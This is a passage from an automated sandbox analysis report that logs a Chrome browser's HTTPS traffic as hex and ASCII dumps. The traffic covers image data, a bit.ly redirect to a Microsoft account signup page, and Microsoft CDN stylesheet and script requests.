2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 
88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 
c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 
9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b 
Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<
<+"xM0B\t8K

2022-05-13 14:40:42 UTC 1634 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                     

2022-05-13 14:40:42 UTC 1650 IN Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 
44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 
99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 
67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea 
cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 
5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 
7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 
Data Ascii: $VYIae/p1V)]UHD&ID\*A");\/tZ0p!r$3G"%YnI=G'3V:gV|j.qzQ!/9su WCqAHEnxm?&6%ko\V*RI`u;JI^l*Un'z 
^L\d+g$
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2022-05-13 14:40:42 UTC 1652 IN Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd 
b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 
1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 
b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 
84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a 
ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 
2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c 
Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu|P<cJa[nX.Aym
3x#`67<

2022-05-13 14:40:42 UTC 1668 IN Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 
32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 
d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 
1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 
1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 
80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 
1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 
Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m|Kq&U"Q
a&QAwm_ty]Hw

2022-05-13 14:40:42 UTC 1679 IN Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 
1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae 
d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a 
b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 
29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 
41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af 
b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 
Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(

2022-05-13 14:40:42 UTC 1695 IN Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 
ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 
68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 
1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 
d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd 
ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 
2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 
Data Ascii: ;]H%r*A=8_3WHT xn10l_|q|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.|eYJ!

2022-05-13 14:40:42 UTC 1711 IN Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 
17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 
ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 
d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 
c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 
b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 
09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 
Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10

2022-05-13 14:40:42 UTC 1719 IN Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 
ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 
d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 
e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 
8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 
c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 
1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc 
Data Ascii: ]kd:Zx(!B\{xCz>L6CM;*/Hs&P|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{*:1r**!=;XCD"RG>$]^\=f!|9a/t
8_#jiM

2022-05-13 14:40:42 UTC 1735 IN Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 
7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 
7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c 
ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a 
da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 
c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 
03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c 
Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI
$tDf5BAt~<\o6;{|

2022-05-13 14:40:42 UTC 1743 IN Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 
59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d 
d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f 
fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 
63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 
20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe 
f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc 
Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +
GH]Z}8C%&cufc^[}3~

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

71 192.168.2.3 49830 67.199.248.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 210 of 286



2022-05-13 14:40:42 UTC 1757 OUT GET /3iynvOz HTTP/1.1
Host: bit.ly
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:42 UTC 1758 IN HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 13 May 2022 14:40:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 163
Cache-Control: private, max-age=90
Content-Security-Policy: referrer always;
Location: https://signup.live.com/signup?wa=wsignin1.0&amp;amp;rpsnv=13&amp;am
Referrer-Policy: unsafe-url
Set-Cookie: _bit=m4deEG-0bbbd32208651d7ac1-00t; Domain=bit.ly; Expires=Wed, 09 Nov 2022 14:40:42 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close

2022-05-13 14:40:42 UTC 1758 IN Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 42 69 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 
65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 67 6e 75 70 2e 6c 69 76 65 2e 
63 6f 6d 2f 73 69 67 6e 75 70 3f 77 61 3d 77 73 69 67 6e 69 6e 31 2e 30 26 61 6d 70 3b 61 6d 70 3b 61 6d 70 3b 72 70 
73 6e 76 3d 31 33 26 61 6d 70 3b 61 6d 70 3b 61 6d 22 3e 6d 6f 76 65 64 20 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e 
0a 3c 2f 68 74 6d 6c 3e 
Data Ascii: <html><head><title>Bitly</title></head><body><a href="https://signup.live.com/signup?wa=wsignin1.0
&amp;amp;amp;rpsnv=13&amp;amp;am">moved here</a></body></html>

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 192.168.2.3 49839 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:44 UTC 1758 OUT GET /converged_ux_v2_u77h9aLlpCTRkWpDDpAa0Q2.css?v=1 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: style
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:44 UTC 1761 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 4298531
Cache-Control: public, max-age=31536000
Content-MD5: gEjLXvpzruHh9T06FIYDvg==
Content-Type: text/css
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8DA0D5560FFC833
Last-Modified: Thu, 24 Mar 2022 05:15:57 GMT
Server: ECAcc (frc/8FF4)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 3d5f67cc-601e-0097-4fbf-3f8124000000
x-ms-version: 2009-09-19
Content-Length: 95362
Connection: close
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2022-05-13 14:40:44 UTC 1761 IN Data Raw: 2f 2a 21 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 
6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 2f 2a 21 0a 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 
52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 
69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 
6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 
Data Ascii: /*! Copyright (C) Microsoft Corporation. All rights reserved. *//*!------------------------------------------- START OF 
THIRD PARTY NOTICE -----------------------------------------This file is based on or incorporates material from the projects listed 

2022-05-13 14:40:44 UTC 1777 IN Data Raw: 2d 
Data Ascii: -

2022-05-13 14:40:44 UTC 1777 IN Data Raw: 65 72 72 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 
3d 22 74 65 78 74 22 5d 2e 68 61 73 2d 65 72 72 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 
69 6e 70 75 74 3a 3a 2d 6d 73 2d 63 6c 65 61 72 2c 69 6e 70 75 74 3a 3a 2d 6d 73 2d 72 65 76 65 61 6c 7b 68 65 69 67 
68 74 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 38 
70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 70 78 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 36 
29 7d 69 6e 70 75 74 3a 3a 2d 6d 73 2d 63 6c 65 61 72 3a 68 6f 76 65 72 2c 69 6e 70 75 74 3a 3a 2d 6d 73 2d 72 65 76 
65 61 6c 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 38 64 37 7d 
Data Ascii: error input[type="text"],input[type="text"].has-error{border-color:#e81123}input::-ms-clear,input::-ms-revea
l{height:100%;padding:4px 8px;margin-right:-8px;margin-left:4px;color:rgba(0,0,0,0.6)}input::-ms-clear:hover,input::-ms-
reveal:hover{color:#0078d7}

2022-05-13 14:40:44 UTC 1908 IN Data Raw: 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 
69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 
72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 49 45 5f 4d 37 20 2e 63 5f 69 6e 6d 69 64 64 
6c 65 5f 61 72 65 61 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 49 45 5f 4d 37 20 2e 72 6f 77 2c 
2e 49 45 5f 4d 37 20 64 69 76 23 69 53 68 6f 77 53 65 6e 64 48 6f 6c 64 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 49 
45 5f 4d 37 20 75 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 49 45 5f 4d 37 20 2e 6d 6f 64 61 6c 20 2e 6d 6f 64 
61 6c 2d 63 6f 6e 74 65 6e 74 7b 70 61 64 64 69 6e 67 2d 62 
Data Ascii: ,"Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.IE_M7 .c
_inmiddle_area{padding-bottom:20px}.IE_M7 .row,.IE_M7 div#iShowSendHolder{clear:both}.IE_M7 ul{margin-left:0}.
IE_M7 .modal .modal-content{padding-b

2022-05-13 14:40:44 UTC 1924 IN Data Raw: 65 61 72 63 68 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 20 69 6e 70 75 74 5b 
74 79 70 65 3d 22 74 65 6c 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 20 69 6e 70 75 74 
5b 74 79 70 65 3d 22 74 65 78 74 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 20 69 6e 70 
75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 20 69 6
e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 20 69 
6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 5f 53 6b 79 70 65 
20 73 65 6c 65 63 74 2c 62 6f 64 79 2e 63 62 2e 63 62 54 68 65 6d 65 
Data Ascii: earch"],body.cb.cbTheme_Skype input[type="tel"],body.cb.cbTheme_Skype input[type="text"],body.cb.c
bTheme_Skype input[type="time"],body.cb.cbTheme_Skype input[type="url"],body.cb.cbTheme_Skype input[type="week
"],body.cb.cbTheme_Skype select,body.cb.cbTheme

2022-05-13 14:40:44 UTC 1940 IN Data Raw: 7d 2e 6d 
Data Ascii: }.m

2022-05-13 14:40:44 UTC 1940 IN Data Raw: 69 64 64 6c 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 76 65 72 74 69 63 61 6c 2d 61 
6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 69 6e 6e 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 
67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 6
4 74 68 3a 34 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 34 30 70 78 29 3b 70 61 64 64 69 
6e 67 3a 34 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 38 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 
6c 6f 72 3a 23 66 66 66 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 36 70 78 20 72 
67 62 61 28 30 2c 30 2c 30 2c 30 2e 32 29 3b 2d 6d 6f 7a 2d 62 6f 78 2d 
Data Ascii: iddle{display:table-cell;vertical-align:middle}.inner{margin-left:auto;margin-right:auto;position:relative;max-
width:440px;width:calc(100% - 40px);padding:44px;margin-bottom:28px;background-color:#fff;-webkit-box-shadow:0 2px 
6px rgba(0,0,0,0.2);-moz-box-

2022-05-13 14:40:44 UTC 1972 IN Data Raw: 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 
67 69 6e 2d 74 6f 70 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 3b 66 6f 6e 74 2d 66 61 6d 
69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 
20 47 72 61 6e 64 65 22 2c 22 52 6f 62 6f 74 6f 22 2c 22 45 62 72 69 6d 61 22 2c 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 
22 47 61 64 75 67 69 22 2c 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 
79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 22 54 75 6e 67 61 22 2c 22 4
c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 
Data Ascii: .5rem;font-weight:600;padding:0;margin-top:16px;margin-bottom:12px;font-family:"Segoe UI","Helvetica 
Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo 
UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoo

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 192.168.2.3 49836 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:44 UTC 1759 OUT GET /jqueryshim_hlu0tTfjWJFWYNt1WZrVqg2.js?v=1 HTTP/1.1
Host: acctcdn.msauth.net
